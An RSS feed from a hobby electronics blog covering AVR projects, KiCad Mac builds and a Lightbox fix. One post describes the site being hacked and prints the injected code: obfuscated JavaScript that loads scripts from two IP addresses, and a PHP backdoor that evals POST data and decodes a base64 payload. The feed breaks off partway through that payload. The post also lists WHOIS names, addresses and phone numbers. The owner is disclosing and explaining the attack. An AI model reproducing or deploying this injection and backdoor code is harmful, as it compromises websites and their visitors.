<li>I managed to blow up the back-lighting on the LCD display. Took me a while to get around to ordering a replacement. </li>
</ul>
<ul>
<li>I didn&#8217;t provide a decent positive and negative supply rail for the op amps. I tried to rely on the comms transceiver chip to provide this. Unfortunately it was supplying 1 quad opamp and several multiplexes it and seemed to fall over completely. In my prototype I simply  used a MAX232ACP with onboard capacitors to provide my circuits with the rails. I had assumed the new transceiver chip would be able to do the same.</li>
</ul>
<p><span style="font-weight:bold;">Where is it at now?</span></p>
<p>Well after sorting out the keyboard issue and  replacing the LCD I have a small screen that will echo characters from the PS2 keyboard and from PC via a USB serial port. What needs to happen next is sorting out a positive and negative voltage rail to support the multiplexers and opamps. Once that is done I can start porting the code from the original system over to the AVR.
<div> After that is complete I can add the extra features such as logging to the screen, save and replay sessions,  and saved macros.</p>
<p><span style="font-weight:bold;">And then What?</span></p>
<p>After that there is the case (already partially designed) and publishing documentation of the project for the website.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=78</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MP3 Rev F GERBER Files now available</title>
		<link>http://www.brokentoaster.com/blog/?p=77</link>
		<comments>http://www.brokentoaster.com/blog/?p=77#comments</comments>
		<pubDate>Tue, 30 Jun 2009 22:43:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=77</guid>
		<description><![CDATA[Just a quick note to say that The GERBER files are now available on server. I have also tidyed up the CVS for PCB files and moved the old Protel files. I&#8217;ve also update the release names for the hardware to match the PCB Revisions. This should make it easier for those of you out [...]]]></description>
				<content:encoded><![CDATA[<p>Just a quick note to say that The GERBER files are now available on server. I have also tidyed up the CVS for PCB files and moved the old Protel files. I&#8217;ve also update the release names for the hardware to match the PCB Revisions.</p>
<p>This should make it easier for those of you out their that just want to build the standard design without custom modifications.<br />The downloads can be found at https://sourceforge.net/projects/butterflymp3/files/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=77</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ATTiny45 USB Key</title>
		<link>http://www.brokentoaster.com/blog/?p=76</link>
		<comments>http://www.brokentoaster.com/blog/?p=76#comments</comments>
		<pubDate>Mon, 22 Jun 2009 18:22:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=76</guid>
		<description><![CDATA[USB Key. These are simply ATTiny45 based USB devices based on the V-USB circuits and drivers developed at Ob-Dev. I haven&#8217;t decided what to do with these yet but the many ideas include a prank keyboard dongles like the capslocker or a keyboard to continually hit F1 or Delete to ensure the bios comes up. [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA6W7oOI/AAAAAAAAAB0/XWvYxvMIHBs/s1600-h/IMG_9907.JPG"><img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPA6W7oOI/AAAAAAAAAB0/XWvYxvMIHBs/s400/IMG_9907.JPG" border="0" alt="" id="BLOGGER_PHOTO_ID_5349378071981695202" /></a><br /><span style="font-weight:bold;">USB Key. </span><br />These are simply ATTiny45 based USB devices based on the V-USB circuits and drivers developed at <a href="http://www.obdev.at/products/vusb/index.html">Ob-Dev</a>. I haven&#8217;t decided what to do with these yet but the many ideas include a prank keyboard dongles like the <a href="http://macetech.com/blog/node/46">capslocker</a> or  a keyboard to continually  hit F1 or Delete to ensure the bios comes up.</p>
<p>My original idea was to have it generate and remember random passwords so you don&#8217;t need to type in your 63 char password for the wireless router every time someone comes to visit , simply plug in the dongle and it will type it for you. There are other non keyboard ideas as well such as a simple data logger that converts voltage, temperature, (insert random digital sensor here) to a comport that responds to commands or simply pushes data at a specified rate.</p>
<p>I see Sparkfun have done a nice version of this PCB with some similar ideas. Theres is called <a href="http://www.sparkfun.com/commerce/product_info.php?products_id=9147">AVR Stick</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=76</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MP3 Shield for Arduino</title>
		<link>http://www.brokentoaster.com/blog/?p=74</link>
		<comments>http://www.brokentoaster.com/blog/?p=74#comments</comments>
		<pubDate>Mon, 22 Jun 2009 18:20:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=74</guid>
		<description><![CDATA[MP3 Shield for Ardiuno. Still needs a couple of fixes to the PCB ( I forgot that the arduino was running at 5V not 3V). Might add some voltage dropping resistors as the cheap solution (£0.10) or add an 74HC245 to do it properly so it can run with 3V arduino boards without mods (£0.34). [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_zYnUjlpmq30/SjzPAmL1lII/AAAAAAAAABs/Df_kCBEhYnk/s1600-h/IMG_9905.JPG"><img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://2.bp.blogspot.com/_zYnUjlpmq30/SjzPAmL1lII/AAAAAAAAABs/Df_kCBEhYnk/s400/IMG_9905.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5349378066566452354" /></a><br /><span style="font-weight:bold;">MP3 Shield for Ardiuno</span>. Still needs a couple of fixes to the PCB ( I forgot that the arduino was running at 5V not 3V). Might add some voltage dropping resistors as the cheap solution (£0.10) or add an 74HC245 to do it properly so it can run with 3V arduino boards without mods (£0.34). I think I will go for resistors as this makes assembly easier and to mod for 3v operation just means removing a couple. No firmware as of yet so my next job(after fixing the hardware ) will be porting the vs1001 libs from the butterflymp3 project over to arduino. Haven&#8217;t decided weather to use my own MMC and FAT routines or just grab the ones from <a href="http://www.adafruit.com/index.php?main_page=product_info&#038;cPath=17_21&#038;products_id=94">adafruit&#8217;s wave shield </a>.  The board has a 3.5mm headphone socket, SD/MMC slot, VS1011 decoder and a 5 way joystick. Perfect for mucking about with MP3s and Arduino.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=74</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Whats on my bench at the moment&#8230;.</title>
		<link>http://www.brokentoaster.com/blog/?p=73</link>
		<comments>http://www.brokentoaster.com/blog/?p=73#comments</comments>
		<pubDate>Sat, 20 Jun 2009 11:53:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=73</guid>
		<description><![CDATA[Its been rather quiet (blogwise) for me lately, so I thought I&#8217;d update with what I&#8217;ve been working on lately. The following is a rough outline of the stuff I&#8217;ve been working on and probably why I feel like I never get anything done. General purpose usb key for experimenting with USB drivers firmware and [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPAeRRu9I/AAAAAAAAABk/mokd4PxJmoE/s1600-h/IMG_9904.JPG"><img style="display:block; margin:0 0 10px 10px;cursor:pointer; cursor:hand;width: 200px; height: 150px;" src="http://1.bp.blogspot.com/_zYnUjlpmq30/SjzPAeRRu9I/AAAAAAAAABk/mokd4PxJmoE/s400/IMG_9904.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5349378064441785298" /></a></p>
<p>Its been rather quiet (blogwise) for me lately, so I thought I&#8217;d update with what I&#8217;ve been working on lately. The following is a rough outline of the stuff I&#8217;ve been working on and probably why I feel like I never get anything done.
<ul>
<li> General purpose usb key for experimenting with USB drivers firmware and the rest.
<li> MP3 shield for <a href="http://arduino.cc">Arduino</a>. Basically an Arduino version of the ButterflyMP3 project.
<li> Daisy chained LED matrix controller. A flexible and extendable display made up of modules that can make any length display you want without changing the firmware. 
<li> Quickcoms 2: Pocket Term. A follow up to my <a href="http://www.circuitcellar.com/magazine/198toc.htm" class="broken_link">Circuit Cellar article</a> and <a href="http://www.circuitcellar.com/renesas2005m16c/winners/DE/1765.htm" class="broken_link">competition project</a>. Current quickcoms info is <a href="http://brokentoaster.com/quickcoms/">here</a>.
<li> ButterflyMP3 VS1053 hardware revision.This newer chip decodes :<br />
<blockquote> Ogg Vorbis; MPEG 1 &#038; 2 audio layer III (CBR +VBR +ABR); layers I &#038; II optional; MPEG4 / 2 AAC-LC(+PNS), HE-AAC v2 (Level 3) (SBR + PS); WMA 4.0/4.1/7/8/9 all proﬁles (5-384 kbps); WAV (PCM + IMA ADPCM); General MIDI 1 / SP-MIDI format 0 ﬁles </p></blockquote>
<p>
<li> ButterflyMP3 firmware updates
<ul> 
<li> Add a simple LED based display. One LED lights up to indicate the track playing. Currently limited to 21 LEDs.<br /> 
<li> A simple Matrix keypad for music store &#8220;listening post&#8221;  style operation. multiplexed on LED lines. Currently limited to 21 buttons. One button will trigger a track to be played.<br /> 
<li> Scrolling LED Matrix support. This is for my LED matrix project above if I ever finish it.</ul>
<p>
<li> Butterfly Logger firmware updates
<ul> 
<li> support GPS logging<br /> 
<li> support wireless sensors</ul>
<p>
<li> The Glitch. A small device that goes inline with low voltage DC wall wart and switches it off and then on again once a day. (I bought a cheap router that needs a hard reset every so often.) </ul>
<p>Plus some white LED based low power  kitchen lighting, playing around with <a href="http://www.david-laserscanner.com/">3D scanning</a> and of course the online shop which I have been doing absolutly nothing on for the past couple of months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=73</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Kicad OSX nightlies fixed again.</title>
		<link>http://www.brokentoaster.com/blog/?p=72</link>
		<comments>http://www.brokentoaster.com/blog/?p=72#comments</comments>
		<pubDate>Fri, 29 May 2009 15:27:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=72</guid>
		<description><![CDATA[Got my kicad builds sorted again. finally got the make command right to work with the boost library. I&#8217;ve updated to the latest (1.39) and everything seems to be going well. My nightly make script now looks like this&#8230;. #update from svncd /temp/kicad-sourcessvn up new_version=`svn info &#124; grep Revision &#124; cut -f 2 -d\ `old_version=`cat [...]]]></description>
				<content:encoded><![CDATA[<p>Got my kicad builds sorted again. finally got the make command right to work with the boost library. I&#8217;ve updated to the latest (1.39) and everything seems to be going well.</p>
<p>My nightly make script  now looks like this&#8230;.<br />
<blockquote>#update from svn<br />cd /temp/kicad-sources<br />svn up <br />new_version=`svn info | grep Revision | cut -f 2 -d\ `<br />old_version=`cat /temp/install/version.txt`<br />if [ $new_version -gt $old_version ]<br />then</p>
<p> #build it<br /> cd build/release<br /> cmake ../../ -DwxWidgets_CONFIG_EXECUTABLE=&#8221;/usr/local/bin/wx-config&#8221; -DwxWidgets_ROOT_DIR=&#8221;/usr/local/include/wx-2.8&#8243; -DCMAKE_INSTALL_PREFIX=/temp/install -DBoost_INCLUDE_DIR=/temp/kicad-sources -DCMAKE_OSX_ARCHITECTURES=&#8221;ppc -arch i386&#8243; -DCMAKE_CXX_FLAGS=&#8221;-D__ASSERTMACROS__&#8221;</p>
<p># make clean <br /> if  make > /temp/kicad_errors-${new_version}.txt 2>> /temp/kicad_errors-${new_version}.txt &#038;&#038; make install <br /> then<br />   file=kicad_osx_v${new_version}<br />  echo $new_version > /temp/install/version.txt <br />  mv /temp/kicad_errors-${new_version}.txt /temp/install/build_log.txt </p>
<p>  #bundle<br />  cd /temp/<br />  cp -rf install ${file}  <br />  tar -czf ${file}.tgz ${file} </p>
<p>  #upload<br />  curl -T ${file}.tgz  ftp://username:password@ftp.brokentoaster.com/<br />  rm -rf ${file} </p>
<p>#  cd /temp/kicad-sources/build/release/  <br /> # /Developer/usr/bin/packagemaker &#8211;doc osx-package.pmdoc &#8211;title &#8216;Kicad&#8217; -o ${file}.mpkg <br /> # curl -T ${file}.mpkg ftp://username:password@ftp.brokentoaster.com/</p>
<p> else<br />  curl -T /temp/kicad_errors-${new_version}.txt  ftp://username:password@ftp.brokentoaster.com/<br /> fi</p>
<p> # go to sleep <br /> open /Users/nick/Applications/SleepNow<br />else<br /> echo &#8220;Kicad is uptodate <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  &#8220;<br />fi</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=72</wfw:commentRss>
		<slash:comments>18</slash:comments>
		</item>
		<item>
		<title>/dev/cu vs /dev/tty ( osx serial ports)</title>
		<link>http://www.brokentoaster.com/blog/?p=71</link>
		<comments>http://www.brokentoaster.com/blog/?p=71#comments</comments>
		<pubDate>Fri, 13 Mar 2009 07:16:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=71</guid>
		<description><![CDATA[A while ago someone told me to use /dev/cu.usbserial rather than /dev/tty.usbserial as the former did not require hardware handshaking. I was looking for this justification again as my memory had gone a little hazey on the exact reason for using cu over tty. I found the following at http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html. Thought it a good thing [...]]]></description>
				<content:encoded><![CDATA[<p>A while ago someone told me to use /dev/cu.usbserial rather than /dev/tty.usbserial as the former did not require hardware handshaking. I was looking for this justification again as my memory had gone a little hazey on the exact reason for using cu over tty. I found the following at <a href="http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html"> http://lists.berlios.de/pipermail/gpsd-dev/2005-April/001288.html</a>.  Thought it a good thing to know and thought I&#8217;d remember it here for next time.</p>
<blockquote><p>&#8220;The idea is to supplement software in sharing a line between incoming and outgoing calls.  The callin device (typically /dev/tty*) is used for incoming traffic.  Any process trying to open it blocks within the open() call as long as DCD is not asserted by hardware (i.e. as long as the modem doesn&#8217;t have a carrier).  During this, the callout device (typically /dev/cu* &#8212; cu stands for &#8220;calling unit&#8221;) can be freely used.  Opening /dev/cu* doesn&#8217;t require DCD to be asserted and<br />succeeds immediately.  Once succeeded, the blocked open() on the callin device will be suspended, and cannot even complete when DCD is raised, until the cu device is closed again.</p>
<p>That way, you can have a getty listening on /dev/tty*, and can still use /dev/cu* without restrictions.&#8221;</p></blockquote>
<p>So this is what I use when programming with AVRDude as the butterfly doesn&#8217;t have any DCD/DTR lines to assert. Its just TX, RX, and GND. If you have problems on the mac using a tty serial port you should try its cu equivalent.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=71</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>GEDA portfiles</title>
		<link>http://www.brokentoaster.com/blog/?p=70</link>
		<comments>http://www.brokentoaster.com/blog/?p=70#comments</comments>
		<pubDate>Mon, 09 Mar 2009 07:20:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=70</guid>
		<description><![CDATA[Now I&#8217;ve got kicad building again ( although rather bloated at 20Mb ) I thought I&#8217;d have a play with some other items on my todo list. I&#8217;ve manage to get most of the GEDA suite working on the mac and have created portfiles for mac ports to be able to install them. I haven&#8217;t [...]]]></description>
				<content:encoded><![CDATA[<p>Now I&#8217;ve got kicad building again ( although rather bloated at 20Mb ) I thought I&#8217;d have a play with some other items on my todo list. I&#8217;ve manage to get most of the GEDA suite working on the mac and have created portfiles for mac ports to be able to install them. I haven&#8217;t got gwave to work yet due to some dependances and some of the installs needed to be forced to overwrite some other files but in general they seem to work. I hope to add kicad as a port file in the near future but I will see if I can get these programs to work first.</p>
<p>In doing this I noticed a few messages regarding others trying to get port files up for gEDA on the mac so I assume they will make it into the main ports tree at some time in the near future.</p>
<p>To use my files you can browse them at http://www.brokentoaster.com/macports/ or download them all at http://www.brokentoaster.com/macports/ports.zip.</p>
<p>First you will need to extract the files into a local directory such as <span style="font-style:italic;">/users/me/ports</span>. Then you will need to add <span style="font-style:italic;">/users/me/ports</span> to the <span style="font-style:italic;">/opt/local/etc/macports/sources.conf</span> file. The last action is to run the command portindex from your newly created ports directory to ensure the index is up to date.</p>
<p>If these are of any use to you then enjoy. Good luck.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=70</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Kicad OSX nightlies fixed</title>
		<link>http://www.brokentoaster.com/blog/?p=69</link>
		<comments>http://www.brokentoaster.com/blog/?p=69#comments</comments>
		<pubDate>Wed, 25 Feb 2009 21:53:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=69</guid>
		<description><![CDATA[I finally decided to investigate why kicad had stopped building back in Decemember. I had initially thought it was to do with large changes to the source being done at that time or with my trying to get a newer build of wxMac to work with it properly.I turns out I updated the Boost library [...]]]></description>
				<content:encoded><![CDATA[<p>I finally decided to investigate why kicad had stopped building back in Decemember. I had initially thought it was to do with large changes to the source being done at that time or with my trying to get a newer build of wxMac to work with it properly.<br />I turns out I updated the Boost library and that was what was causing my builds to fail.</p>
<p>Somewhere on the mac a &#8220;check&#8221; macro gets defined. Apparently this is if &#8220;DEBUG&#8221; is defined somewhere but I could not figure out where or why this was going on (see <a href="http://lists.trolltech.com/qt-interest/2007-06/msg01111.html">this</a> post.  I decided to simply modify the boost files concerned to work aroaund this problem. By renaming the &#8220;check&#8221; function and its called I was able to get kicad compiling again. Sadly it does not fix the serious flaws in wxmacs graphics implimentation ie. the fact that it does not do XOR draws properly.Anyway here are the diffs I made</p>
<p>fixing kicad again for th mac<br />/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp:<br />line 155: check renamed to check_</p>
<p>4 changes in /temp/kicad-sources/boost/detail/is_incrementable.hppcheck &#8220;check(&#8221; replaced with &#8220;check_(&#8220;</p>
<p><span style="font-weight:bold;">boost/ptr_container/detail/static_move_ptr.hpp </span><br />
<blockquote>% diff /temp/boost_1_37_0/boost/ptr_container/detail/static_move_ptr.hpp <br />/temp/kicad-sources/boost/ptr_container/detail/static_move_ptr.hpp 
<pre><br />154c155<br /><     void check(const static_move_ptr<tt, DD>&#038; ptr)<br />---<br />>     void check_(const static_move_ptr<tt, DD>&#038; ptr)<br /></pre>
</blockquote>
<p><span style="font-weight:bold;">boost/detail/is_incrementable.hpp </span><br />
<blockquote>% diff /temp/boost_1_37_0/boost/detail/is_incrementable.hpp <br />/temp/kicad-sources/boost/detail/is_incrementable.hpp 
<pre><br />68c68<br /><   char (&#038; check(tag) )[2];<br />---<br />>   char (&#038; check_(tag) )[2];<br />71c71<br /><   char check(T const&#038;);<br />---<br />>   char check_(T const&#038;);<br />81c81<br /><         , value = sizeof(is_incrementable_::check(BOOST_comma(++x,0))) == 1<br />---<br />>         , value = sizeof(is_incrementable_::check_(BOOST_comma(++x,0))) == 1<br />92c92<br /><         , value = sizeof(is_incrementable_::check(BOOST_comma(x++,0))) == 1<br />---<br />>         , value = sizeof(is_incrementable_::check_(BOOST_comma(x++,0))) == 1</pre>
</blockquote>
<p>The error I was getting was the following<br />
<blockquote>
<pre>In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22In file included from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/reversible_ptr_container.hpp:22,<br />                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_sequence_adapter.hpp:20,<br />                 from /temp/kicad-sources/boost_1_38_0/boost/ptr_container/ptr_vector.hpp:20,<br />                 from /temp/kicad-sources/kicad/include/board_item_struct.h:9,<br />                 from /temp/kicad-sources/kicad/include/pcbstruct.h:10,<br />                 from /temp/kicad-sources/kicad/3d-viewer/3d_viewer.h:29,<br />                 from /temp/kicad-sources/kicad/3d-viewer/3d_aux.cpp:23:<br />/temp/kicad-sources/boost_1_38_0/boost/ptr_container/detail/static_move_ptr.hpp:154:50: error: macro "check" passed 2 arguments, but takes just 1<br /></pre>
</blockquote>
<p>I have now updated my automagic build script to upload the error log if It doesn't compile.</p>
<p>All of my  builds are still found at <a href="http://www.brokentoaster.com/kicad/">http://www.brokentoaster.com/kicad/</a> and should be universal apps. If anyone has had any success with wxCocoa or other builds I'd be happy to add them to my build list.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=69</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Litebox and google checkout</title>
		<link>http://www.brokentoaster.com/blog/?p=68</link>
		<comments>http://www.brokentoaster.com/blog/?p=68#comments</comments>
		<pubDate>Fri, 23 Jan 2009 19:03:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=68</guid>
		<description><![CDATA[Just putting some finishing touches on my webshop for its opening in Februrary 2009. While doing this I noticed that the Google checkout shopping cart broke the Litebox scripts I had for viewing photo closeups.Did some snooping about the net and looked at other sites that used lightbox and google checkout and found the following [...]]]></description>
				<content:encoded><![CDATA[<p>Just putting some finishing touches on my webshop for its opening in Februrary 2009. While doing this I noticed that the Google checkout shopping cart broke the Litebox scripts I had for viewing photo closeups.<br />Did some snooping about the net and looked at other sites that used lightbox and google checkout and found the following snippet that seems to fix things.</p>
<p>just add this to the end of your shop page to fix or alternatively fix the litebox/lightbox engine ( i&#8217;m too lazy so I thought I&#8217;d post this so someone else might do it <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<blockquote><pre><br />&lt;!-- GOOGLE CHECKOUT/LIGHTBOX FIX --&gt;<br />&lt;script type="text/javascript"&gt;<br />if(window.attachEvent &amp;&amp; !window.addEventListener)<br />document.attachEvent('onclick', function(){<br />var s = window.event.srcElement;<br />if((s.rel &amp;&amp; /^lightbox/.test(s.rel)) || (s.parentNode &amp;&amp;<br />s.parentNode.rel &amp;&amp; /^lightbox/.test(s.parentNode.rel)))<br />return false;<br />});<br />&lt;/script&gt;<br />&lt;!-- GOOGLE CHECKOUT/LIGHTBOX FIX --&gt;</pre>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://www.brokentoaster.com/blog/?feed=rss2&#038;p=68</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacked&#8230; again&#8230;.</title>
		<link>http://www.brokentoaster.com/blog/?p=67</link>
		<comments>http://www.brokentoaster.com/blog/?p=67#comments</comments>
		<pubDate>Thu, 18 Dec 2008 22:14:00 +0000</pubDate>
		<dc:creator>Nick</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.brokentoaster.com/blog/?p=67</guid>
		<description><![CDATA[Hackers claiming to be Muslims from Turkey hacked the site the other day so I&#8217;ve just spent the evening reloading most of the files form backup. Although only a couple of files were visibly changed almost every html file and random PHP files had code inserted which caused any number of unknown activities. What I [...]]]></description>
				<content:encoded><![CDATA[<p><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://brokentoaster.com/images/picture4.png"><img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 252px; height: 253px;" src="http://brokentoaster.com/images/picture4.png" border="0" alt="" /></a></p>
<p>Hackers claiming to be Muslims from Turkey hacked the site the other day so I&#8217;ve just spent the evening reloading most of the files form backup. Although only a couple of files were visibly changed almost every html file and random PHP files had code inserted which caused any number of unknown activities.</p>
<p>What I don&#8217;t understand is that if you are going to go to the trouble of hacking a site and then to stealthily insert code which obviously does some sort of action  of benefit to the perpetrator, why would you write your name on the index page as a red flag to say this site has been hacked? Surely  If I was a hacker I would just insert the code quietly and then nobody would know it was their unless they did a full site compare. Unless you wanted a site to look like it had been hacked by someone else&#8230;.. hmmmm </p>
<p>Anyway I&#8217;m off to review my file permissions and php code across the site&#8230; and sift through some log files <img src='http://www.brokentoaster.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
<p>[EDIT:] Here is the javascript code that was pacthed into all my webpages. I have renamed the &#8216;eval&#8217; function to disable the action and broken into lines<br />
<blockquote>
<pre><br />if(typeof(yahoo_counter)!=typeof(1))evalDISABLED(unescape('%2F%2F%3Cdi%76#%20!%73|%74%79%6C%65%3D$<br />%64%69~%73`%70l@%61y`%3A`n$%6F`%6E|e%3E\n#do#%63$%75!%6D%65$%6E|%74`%2E%77#%72i@%74%65%28$%22%3C<br />%2F%74|%65%78%74a#%72e&#038;a|%3E")%3B%76`%61@r%20i|%2C%5F|%2C%61@%3D%5B#%2278|.|1&#038;%310%2E@17@5`%2E&#038;%321<br />!%22~,%2219!%35~.&#038;2#4~.%37!6`.2#%35!1"@%5D~;_%3D%31~%3Bi@f$%28%64&#038;%6F%63&#038;%75&#038;%6D%65n&#038;t.c&#038;%6F#ok%69<br />%65.%6D`a%74#c`%68~(%2F%5C$%62#hg#%66%74%3D#1/&#038;%29=~%3D%6E#u@%6C`l%29!f%6Fr&#038;%28$%69&#038;=|%30%3B#<br />%69#%3C%32%3B!i|%2B!+#%29doc&#038;%75%6D#%65&#038;%6Et%2Ew&#038;%72%69!t#e@(#"!%3C%73|cr#i%70t%3E`%69!%66~(#_%29$<br />%64@%6Fcu~%6D@e%6E|t%2E%77`rit%65%28%5C%22!%3C#%73%63%72!ip&#038;t%20~id=%5F&#038;"%2Bi!+"_`%20s`%72c=//%22~<br />+`%61@%5B$%69%5D`+#%22#/%63`%70$%2F%3F&#038;%22&#038;%2B@n$%61%76$%69%67`%61%74!%6F`r#%2Eap!%70#%4E`%61!<br />m&#038;e!.&#038;%63&#038;h`%61!rA%74!(0`)@%2B"%3E%3C~%5C%5C%2F!%73%63r!%69%70!t!%3E#%5C"&#038;)~%3C%5C/s`%63ri%70%74%3E$<br />%22%29@;\n%2F@/&#038;%3C%2F%64|%69%76#%3E').replace(/#|\!|@|~|`|\&#038;|\$|\|/g,""));var yahoo_counter=1;<br /></pre>
</blockquote>
<p>The un-obfuscated version is as follows<br />
<blockquote>
<p>//&lt;div style=display:none&gt;</p>
<p>
<p>document.write(&#8220;&lt;/textarea&gt;&#8221;);var i,_,a=["78.110.175.21","195.24.76.251"];<br />_=1;<br />if(document.cookie.match(/\bhgft=1/)==null)<br />for(i=0;i&lt;2;i++)document.write(&#8220;&lt;script&gt;if(_)document.write(\&#8221;&lt;script id=_&#8221;+i+&#8221;_ <br />src=//&#8221;+a[i]+&#8221;/cp/?&#8221;+navigator.appName.charAt(0)+&#8221;&gt;&lt;\\/script&gt;\&#8221;)&lt;\/script&gt;&#8221;);</p>
<p>
<p class="p1">//&lt;/div&gt;</p>
</blockquote>
<p>Those two IP addresses are managed by 
<pre><br />person:         Alexander A Solovyov<br />address:        LIMT Group Ltd.<br />address:        Karpinskogo 97a<br />address:        Moscow<br />address:        111423<br />address:        Russian Federation<br />phone:          +7 342 2763167<br /></pre>
<p>and
<pre><br />person:         Andy BIERLAIR<br />address:        root eSolutions<br />address:        35, rue John F. Kennedy<br />address:        L-7327 Steinsel<br />phone:          +352 20.500<br />fax-no:         +352 20.500.500<br />nic-hdl:        AB99-RIPE<br /></pre>
<p>The PHP pages were tagged with </p>
<blockquote><p>if(!function_exists(&#8216;tmp_lkojfghx&#8217;)){for($i=1;$i&lt;100;$i++)if(is_file($f=&#8217;/tmp/m&#8217;.$i)){include_once($f);break;}if(isset($_POST['tmp_lkojfghx3']))eval($_POST['tmp_lkojfghx3']);if(!defined(&#8216;TMP_XHGFJOKL&#8217;))define(&#8216;TMP_XHGFJOKL&#8217;,base64_decode(&#8216;PHNjcmlwd<br />CBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gWWFob28hIENvdW50ZXIgc3RhcnRzIAppZih0eXBlb2YoeWFob29fY291bnRlcikhPXR5c<br />GVvZigxKSlldmFsKHVuZXNjYXBlKCclMkYlMkYlM0NkaSU3NiMlMjAhJTczfCU3NCU3OSU2QyU2NSUzRCQlNjQlNjl+JTczYCU3MGxAJ<br />TYxeWAlM0FgbiQlNkZgJTZFfGUlM0VcbiNkbyMlNjMkJTc1ISU2RCU2NSQlNkV8JTc0YCUyRSU3NyMlNzJpQCU3NCU2NSUyOCQlMjIl<br />M0MlMkYlNzR8JTY1JTc4JTc0YSMlNzJlJmF8JTNFIiklM0IlNzZgJTYxQHIlMjBpfCUyQyU1RnwlMkMlNjFAJTNEJTVCIyUyMjc4fC58MSYlM<br />zEwJTJFQDE3QDVgJTJFJiUzMjEhJTIyfiwlMjIxOSElMzV+LiYyIzR+LiUzNyE2YC4yIyUzNSExIkAlNUR+O18lM0QlMzF+JTNCaUBmJCUyO<br />CU2NCYlNkYlNjMmJTc1JiU2RCU2NW4mdC5jJiU2RiNvayU2OSU2NS4lNkRgYSU3NCNjYCU2OH4oJTJGJTVDJCU2MiNoZyMlNjYlNzQl<br 